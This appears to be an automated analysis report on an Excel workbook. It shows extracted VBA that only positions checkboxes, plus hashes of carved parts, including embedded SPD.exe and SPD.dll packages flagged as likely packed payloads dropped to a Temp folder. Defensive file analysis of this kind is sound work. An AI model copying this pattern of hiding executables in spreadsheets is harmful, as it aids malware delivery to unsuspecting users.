ActiveSheet.OLEObjects("CheckBox26").Width = 109.8
ActiveSheet.OLEObjects("CheckBox26").Height = 27.6
ActiveSheet.OLEObjects("CheckBox31").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox31").Left = 300
ActiveSheet.OLEObjects("CheckBox31").Width = 145.8
ActiveSheet.OLEObjects("CheckBox31").Height = 28.2
ActiveSheet.OLEObjects("CheckBox32").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox32").Left = 460.8
ActiveSheet.OLEObjects("CheckBox32").Width = 109.8
ActiveSheet.OLEObjects("CheckBox32").Height = 28.2
ActiveSheet.OLEObjects("CheckBox37").Top = 1291.8
ActiveSheet.OLEObjects("CheckBox37").Left = 679.8
ActiveSheet.OLEObjects("CheckBox37").Width = 0
ActiveSheet.OLEObjects("CheckBox37").Height = 29.4
ActiveSheet.OLEObjects("CheckBox9").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox9").Left = 493.8
ActiveSheet.OLEObjects("CheckBox9").Width = 10.8
ActiveSheet.OLEObjects("CheckBox9").Height = 14.4
ActiveSheet.OLEObjects("CheckBox10").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox10").Left = 493.8
ActiveSheet.OLEObjects("CheckBox10").Width = 10.8
ActiveSheet.OLEObjects("CheckBox10").Height = 14.4
ActiveSheet.OLEObjects("CheckBox11").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox11").Left = 493.8
ActiveSheet.OLEObjects("CheckBox11").Width = 10.8
ActiveSheet.OLEObjects("CheckBox11").Height = 14.4
ActiveSheet.OLEObjects("CheckBox12").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox12").Left = 493.8
ActiveSheet.OLEObjects("CheckBox12").Width = 10.8
ActiveSheet.OLEObjects("CheckBox12").Height = 14.4
ActiveSheet.OLEObjects("CheckBox13").Top = 1515
ActiveSheet.OLEObjects("CheckBox13").Left = 493.8
ActiveSheet.OLEObjects("CheckBox13").Width = 10.8
ActiveSheet.OLEObjects("CheckBox13").Height = 14.4
ActiveSheet.OLEObjects("CheckBox14").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox14").Left = 493.8
ActiveSheet.OLEObjects("CheckBox14").Width = 10.8
ActiveSheet.OLEObjects("CheckBox14").Height = 14.4
ActiveSheet.OLEObjects("CheckBox2").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox2").Left = 433.2
ActiveSheet.OLEObjects("CheckBox2").Width = 10.2
ActiveSheet.OLEObjects("CheckBox2").Height = 15
ActiveSheet.OLEObjects("CheckBox4").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox4").Left = 433.2
ActiveSheet.OLEObjects("CheckBox4").Width = 10.8
ActiveSheet.OLEObjects("CheckBox4").Height = 14.4
ActiveSheet.OLEObjects("CheckBox5").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox5").Left = 433.2
ActiveSheet.OLEObjects("CheckBox5").Width = 10.8
ActiveSheet.OLEObjects("CheckBox5").Height = 14.4
ActiveSheet.OLEObjects("CheckBox6").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox6").Left = 433.2
ActiveSheet.OLEObjects("CheckBox6").Width = 10.8
ActiveSheet.OLEObjects("CheckBox6").Height = 14.4
ActiveSheet.OLEObjects("CheckBox7").Top = 1515
ActiveSheet.OLEObjects("CheckBox7").Left = 433.2
ActiveSheet.OLEObjects("CheckBox7").Width = 10.8
ActiveSheet.OLEObjects("CheckBox7").Height = 14.4
ActiveSheet.OLEObjects("CheckBox8").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox8").Left = 433.2
ActiveSheet.OLEObjects("CheckBox8").Width = 10.8
ActiveSheet.OLEObjects("CheckBox8").Height = 14.4
ActiveSheet.OLEObjects("CheckBox15").Top = 1452.6
ActiveSheet.OLEObjects("CheckBox15").Left = 553.8
ActiveSheet.OLEObjects("CheckBox15").Width = 10.8
ActiveSheet.OLEObjects("CheckBox15").Height = 14.4
ActiveSheet.OLEObjects("CheckBox16").Top = 1468.2
ActiveSheet.OLEObjects("CheckBox16").Left = 553.8
ActiveSheet.OLEObjects("CheckBox16").Width = 10.8
ActiveSheet.OLEObjects("CheckBox16").Height = 14.4
ActiveSheet.OLEObjects("CheckBox17").Top = 1483.8
ActiveSheet.OLEObjects("CheckBox17").Left = 553.8
ActiveSheet.OLEObjects("CheckBox17").Width = 10.8
ActiveSheet.OLEObjects("CheckBox17").Height = 14.4
ActiveSheet.OLEObjects("CheckBox18").Top = 1499.4
ActiveSheet.OLEObjects("CheckBox18").Left = 553.8
ActiveSheet.OLEObjects("CheckBox18").Width = 10.8
ActiveSheet.OLEObjects("CheckBox18").Height = 14.4
ActiveSheet.OLEObjects("CheckBox19").Top = 1515
ActiveSheet.OLEObjects("CheckBox19").Left = 553.8
ActiveSheet.OLEObjects("CheckBox19").Width = 10.8
ActiveSheet.OLEObjects("CheckBox19").Height = 14.4
ActiveSheet.OLEObjects("CheckBox20").Top = 1530.6
ActiveSheet.OLEObjects("CheckBox20").Left = 553.8
ActiveSheet.OLEObjects("CheckBox20").Width = 10.8
ActiveSheet.OLEObjects("CheckBox20").Height = 14.4
ActiveSheet.OLEObjects("CheckBox50").Top = 2647.8
ActiveSheet.OLEObjects("CheckBox50").Left = 137.4
ActiveSheet.OLEObjects("CheckBox50").Width = 146.4
ActiveSheet.OLEObjects("CheckBox50").Height = 28.2
ActiveSheet.OLEObjects("CheckBox29").Top = 1884
ActiveSheet.OLEObjects("CheckBox29").Left = 334.2
ActiveSheet.OLEObjects("CheckBox29").Width = 10.8
ActiveSheet.OLEObjects("CheckBox29").Height = 15
ActiveSheet.OLEObjects("CheckBox33").Top = 1884
ActiveSheet.OLEObjects("CheckBox33").Left = 396.6
ActiveSheet.OLEObjects("CheckBox33").Width = 10.8
ActiveSheet.OLEObjects("CheckBox33").Height = 15
ActiveSheet.OLEObjects("CheckBox34").Top = 1884
ActiveSheet.OLEObjects("CheckBox34").Left = 457.2
ActiveSheet.OLEObjects("CheckBox34").Width = 10.2
ActiveSheet.OLEObjects("CheckBox34").Height = 15
ActiveSheet.OLEObjects("CheckBox35").Top = 1884
ActiveSheet.OLEObjects("CheckBox35").Left = 518.4
ActiveSheet.OLEObjects("CheckBox35").Width = 10.8
ActiveSheet.OLEObjects("CheckBox35").Height = 15
ActiveSheet.OLEObjects("CheckBox51").Top = 1884
ActiveSheet.OLEObjects("CheckBox51").Left = 579.6
ActiveSheet.OLEObjects("CheckBox51").Width = 10.8
ActiveSheet.OLEObjects("CheckBox51").Height = 15
ActiveSheet.OLEObjects("CheckBox52").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox52").Left = 334.2
ActiveSheet.OLEObjects("CheckBox52").Width = 10.8
ActiveSheet.OLEObjects("CheckBox52").Height = 17.4
ActiveSheet.OLEObjects("CheckBox53").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox53").Left = 396.6
ActiveSheet.OLEObjects("CheckBox53").Width = 10.8
ActiveSheet.OLEObjects("CheckBox53").Height = 17.4
ActiveSheet.OLEObjects("CheckBox54").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox54").Left = 457.2
ActiveSheet.OLEObjects("CheckBox54").Width = 10.2
ActiveSheet.OLEObjects("CheckBox54").Height = 17.4
ActiveSheet.OLEObjects("CheckBox55").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox55").Left = 518.4
ActiveSheet.OLEObjects("CheckBox55").Width = 10.8
ActiveSheet.OLEObjects("CheckBox55").Height = 17.4
ActiveSheet.OLEObjects("CheckBox56").Top = 2149.8
ActiveSheet.OLEObjects("CheckBox56").Left = 579.6
ActiveSheet.OLEObjects("CheckBox56").Width = 10.8
ActiveSheet.OLEObjects("CheckBox56").Height = 17.4
ActiveSheet.OLEObjects("CheckBox57").Top = 7306.8
ActiveSheet.OLEObjects("CheckBox57").Left = 88.8
ActiveSheet.OLEObjects("CheckBox57").Width = 190.2
ActiveSheet.OLEObjects("CheckBox57").Height = 27
ActiveSheet.OLEObjects("CheckBox58").Top = 7339.8
ActiveSheet.OLEObjects("CheckBox58").Left = 88.8
ActiveSheet.OLEObjects("CheckBox58").Width = 189
ActiveSheet.OLEObjects("CheckBox58").Height = 27.6
ActiveSheet.OLEObjects("CheckBox59").Top = 7372.8
ActiveSheet.OLEObjects("CheckBox59").Left = 88.8
ActiveSheet.OLEObjects("CheckBox59").Width = 193.2
ActiveSheet.OLEObjects("CheckBox59").Height = 27.6
ActiveSheet.OLEObjects("CheckBox60").Top = 7405.2
ActiveSheet.OLEObjects("CheckBox60").Left = 88.8
ActiveSheet.OLEObjects("CheckBox60").Width = 204
ActiveSheet.OLEObjects("CheckBox60").Height = 26.4
ActiveSheet.OLEObjects("CheckBox61").Top = 7437.6
ActiveSheet.OLEObjects("CheckBox61").Left = 88.8
ActiveSheet.OLEObjects("CheckBox61").Width = 213.6
ActiveSheet.OLEObjects("CheckBox61").Height = 27
ActiveSheet.OLEObjects("CheckBox62").Top = 7470.6
ActiveSheet.OLEObjects("CheckBox62").Left = 88.8
ActiveSheet.OLEObjects("CheckBox62").Width = 210.6
ActiveSheet.OLEObjects("CheckBox62").Height = 26.4
ActiveSheet.OLEObjects("CheckBox63").Top = 7306.2
ActiveSheet.OLEObjects("CheckBox63").Left = 321.6
ActiveSheet.OLEObjects("CheckBox63").Width = 174
ActiveSheet.OLEObjects("CheckBox63").Height = 27
ActiveSheet.OLEObjects("CheckBox64").Top = 7371.6
ActiveSheet.OLEObjects("CheckBox64").Left = 321.6
ActiveSheet.OLEObjects("CheckBox64").Width = 195.6
ActiveSheet.OLEObjects("CheckBox64").Height = 27
ActiveSheet.OLEObjects("CheckBox66").Top = 7400.4
ActiveSheet.OLEObjects("CheckBox66").Left = 321.6
ActiveSheet.OLEObjects("CheckBox66").Width = 129
ActiveSheet.OLEObjects("CheckBox66").Height = 27
ActiveSheet.OLEObjects("CheckBox67").Top = 7306.2
ActiveSheet.OLEObjects("CheckBox67").Left = 567.6
ActiveSheet.OLEObjects("CheckBox67").Width = 243
ActiveSheet.OLEObjects("CheckBox67").Height = 27
ActiveSheet.OLEObjects("CheckBox68").Top = 7431.6
ActiveSheet.OLEObjects("CheckBox68").Left = 321.6
ActiveSheet.OLEObjects("CheckBox68").Width = 229.2
ActiveSheet.OLEObjects("CheckBox68").Height = 27
ActiveSheet.OLEObjects("CheckBox69").Top = 7503.6
ActiveSheet.OLEObjects("CheckBox69").Left = 88.8
ActiveSheet.OLEObjects("CheckBox69").Width = 199.2
ActiveSheet.OLEObjects("CheckBox69").Height = 27
ActiveSheet.OLEObjects("CheckBox39").Top = 1269
ActiveSheet.OLEObjects("CheckBox39").Left = 432
ActiveSheet.OLEObjects("CheckBox39").Width = 26.4
ActiveSheet.OLEObjects("CheckBox39").Height = 17.4
ActiveSheet.OLEObjects("CheckBox40").Top = 1269
ActiveSheet.OLEObjects("CheckBox40").Left = 469.2
ActiveSheet.OLEObjects("CheckBox40").Width = 66
…
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 300544 bytes
SHA-256: 7e1a722984a1e658a38c0638de9dc8d9b5401656c2ebe4e0d47d4b4964f69d6f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 295883 bytes
SHA-256: dfd34da79d07e7e73e42d2f4b041ec604cf421d2398438c714eac1293e9183d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_00_ole10native_00_SPD.exe ole-package-payload OOXML xl/embeddings/oleObject2.bin Ole10Native payload: display_name=SPD.exe; full_path=C:\Users\Tobias\AppData\Local\Temp\SPD.exe; temp_path=; def_file= 295424 bytes
SHA-256: 9a305116bdb925cd20126f7ee3cc07174ca90bf558cf5e72665093297695bcd6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 300032 bytes
SHA-256: 2f5291f5f8d8430a03317f852cc10edf8b379591d9d3eac4a1b846c0cf209506
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.
ooxml_oleobject_01_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 295347 bytes
SHA-256: b7d89c6b680a99896888ee30ca9063328cc36df4ce548f9d009c09c09af2459a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
ooxml_oleobject_01_ole10native_00_SPD.dll ole-package-payload OOXML xl/embeddings/oleObject1.bin Ole10Native payload: display_name=SPD.dll; full_path=C:\Users\Tobias\AppData\Local\Temp\SPD.dll; temp_path=; def_file= 294912 bytes
SHA-256: 4b4179d7c709719b871140e314a0069d2b8fa331d3a704e8b129f4c514785e54
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.98, consistent with packed or encrypted content.
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 186368 bytes
SHA-256: 2286834abe4ac7ec195ff16e4ae7d7f965955721c114070b3d0dcbc7248fad3d
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image40.emf 3068 bytes
SHA-256: 1ec02a1614bafaad5f51991ec60feb71c7e4c05970461d16e0fb9420c5d916f8
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image34.emf 2216 bytes
SHA-256: 4b1d32bb3052d5136b458a1dcf8b420eb28650bbd2b71c27d85a37cfb9842771
emf_02.emf ooxml-emf OOXML EMF part: xl/media/image16.emf 2540 bytes
SHA-256: 5386d2785984a178dc159ab3c3bb35a4ea36c974cd973335f552680b41c142d4
emf_03.emf ooxml-emf OOXML EMF part: xl/media/image23.emf 3136 bytes
SHA-256: 97207c9bfe1359337478bab8b2aa029103817c16fb5822efa4fc7b55ee2322e2
emf_04.emf ooxml-emf OOXML EMF part: xl/media/image29.emf 2540 bytes
SHA-256: 71571e3bd50ab2e9e432e892d572bec70095f88448a553e32ce97b4d2b2a3dca
emf_05.emf ooxml-emf OOXML EMF part: xl/media/image17.emf 2540 bytes
SHA-256: 876387a5437d6e7f007d4fbf20ce45df489ebd5657ee0185467232503c2b57f3
emf_06.emf ooxml-emf OOXML EMF part: xl/media/image6.emf 4976 bytes
SHA-256: 94374968ad8ab0008603078fe3ef15e4d7ec817ba2f45b1226b9b49635e272e7
emf_07.emf ooxml-emf OOXML EMF part: xl/media/image7.emf 7280 bytes
SHA-256: 7f2d218b6a69de10b7401358a2024bacc59c024fddcf716e029ffc9de5bfcf89
emf_08.emf ooxml-emf OOXML EMF part: xl/media/image33.emf 2216 bytes
SHA-256: 8f3dbaa9d90d1a88ca4f48beed45b4cc8837c6bb704473c27e325d0cf88a675e
emf_09.emf ooxml-emf OOXML EMF part: xl/media/image24.emf 3148 bytes
SHA-256: 2bd5346effab177bb288fb6f09b36a1468ba466e94a93865d27b8b8f1d32ff50
emf_10.emf ooxml-emf OOXML EMF part: xl/media/image18.emf 2540 bytes
SHA-256: 56412d2c0680bc7236b9c4acb0913f97bef1886bfb9f28fdd3b1e3a55d1e318d
emf_11.emf ooxml-emf OOXML EMF part: xl/media/image38.emf 2972 bytes
SHA-256: 69135ea57baaded763fc7a3a1eb6461d2fc40df4d61b59d4ac99305da51bbec9
emf_12.emf ooxml-emf OOXML EMF part: xl/media/image30.emf 2540 bytes
SHA-256: e7362097eecec3391850bb1446eb9b4b200a8c5e9f3a5db461834d984c168eb4
emf_13.emf ooxml-emf OOXML EMF part: xl/media/image8.emf 3256 bytes
SHA-256: 42687e8595e82b6099740e4cef2c4e877d73044778a3f9ad120fd372df8cc952
emf_14.emf ooxml-emf OOXML EMF part: xl/media/image25.emf 3136 bytes
SHA-256: b44aa751bd4c0ea8a608c7681136205169e9e18009fc2342e9c5b4e7e3205f23
emf_15.emf ooxml-emf OOXML EMF part: xl/media/image32.emf 2216 bytes
SHA-256: 1861cf23a16d9eace6eff33dd34402e3bd5f69495b3bae79580e7e5b5c315638
emf_16.emf ooxml-emf OOXML EMF part: xl/media/image9.emf 3088 bytes
SHA-256: 0fcfa22be18615b61d43c1a10b2edcbe911673ce58c3eef5bb60b96f951367ec
emf_17.emf ooxml-emf OOXML EMF part: xl/media/image36.emf 2216 bytes
SHA-256: bd6b8e3e78889ad68d08e8005764426eadab05d0d3833f3154e19dcd0311c805
emf_18.emf ooxml-emf OOXML EMF part: xl/media/image26.emf 3148 bytes
SHA-256: ec988c1c025ca5d1660c614274694cf6a80c42f2e8b248bf2adc8f1c64a1dc7a
emf_19.emf ooxml-emf OOXML EMF part: xl/media/image10.emf 3260 bytes
SHA-256: 3fb9957d894740c267bb9977bd035f1301c689314865d5af5a486d81195b2c73
emf_20.emf ooxml-emf OOXML EMF part: xl/media/image19.emf 3272 bytes
SHA-256: 470ebf8801d43c9fbd07bc00fa06758517a8ecbd5850522fb774417419b69d34
emf_21.emf ooxml-emf OOXML EMF part: xl/media/image31.emf 2540 bytes
SHA-256: 5002086e7dd09073980d1bef9c95bc57d80324d8c0d67892e00795d523d2d766
emf_22.emf ooxml-emf OOXML EMF part: xl/media/image11.emf 3316 bytes
SHA-256: fcfa5c26801b4e0323b37f91d12452711ba41734f4aec7ea058acf7c6aa1e1ee
emf_23.emf ooxml-emf OOXML EMF part: xl/media/image37.emf 2216 bytes
SHA-256: da23895b7c4dc834db581e6fd2cd2ad8a1f0bb448e683bbd9df4590f111fa02c

Open this report in the interactive analyzer, or submit your own file for analysis.